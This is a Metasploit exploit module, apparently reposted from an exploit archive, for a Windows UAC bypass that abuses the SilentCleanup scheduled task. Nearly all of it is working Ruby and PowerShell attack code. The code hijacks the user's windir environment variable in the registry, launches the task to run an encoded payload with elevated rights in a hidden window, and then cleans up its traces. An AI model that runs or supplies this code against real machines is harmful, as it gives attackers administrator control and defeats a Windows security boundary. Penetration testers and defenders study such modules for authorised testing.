Windows Escalate UAC Protection Bypass Via SilentCleanup

2019.06.28
Credit: enigma0x3
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Post::Windows::Priv include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)', 'Description' => %q{ There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges. When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables, %windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin. }, 'License' => MSF_LICENSE, 'Author' => [ 'tyranid', # Discovery 'enigma0x3', # Discovery 'nyshone69', # Discovery 'Carter Brainerd (cbrnrd)' # Metasploit Module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter', 'shell'], 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [['Microsoft Windows', {}]], 'DisclosureDate' => 'Feb 24 2019', 'References' => [ ['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'], ['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'], ['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'], ['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/'] ] )) register_options( [ OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]), OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"]) ]) end def get_bypass_script(cmd) scr = %Q{ if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) { #{cmd} } else { $registryPath = "HKCU:\\Environment" $Name = "windir" $Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#" Set-ItemProperty -Path $registryPath -Name $name -Value $Value #Depending on the performance of the machine, some sleep time may be required before or after schtasks Start-Sleep -Milliseconds #{datastore['SLEEPTIME']} schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null Remove-ItemProperty -Path $registryPath -Name $name } } vprint_status(scr) scr end def exploit check_permissions e_vars = get_envs('TEMP') payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1" # Write it to disk, run, delete upload_payload_ps1(payload_fp) vprint_good("Payload uploaded to #{payload_fp}") cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}") end def check_permissions # Check if you are an admin case is_in_admin_group? when nil print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') when true print_good('Part of Administrators group! Continuing...') when false fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end def upload_payload_ps1(filepath) pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) begin vprint_status('Uploading payload PS1...') write_file(filepath, get_bypass_script(pld)) register_file_for_cleanup(filepath) rescue Rex::Post::Meterpreter::RequestError => e fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}") end end end


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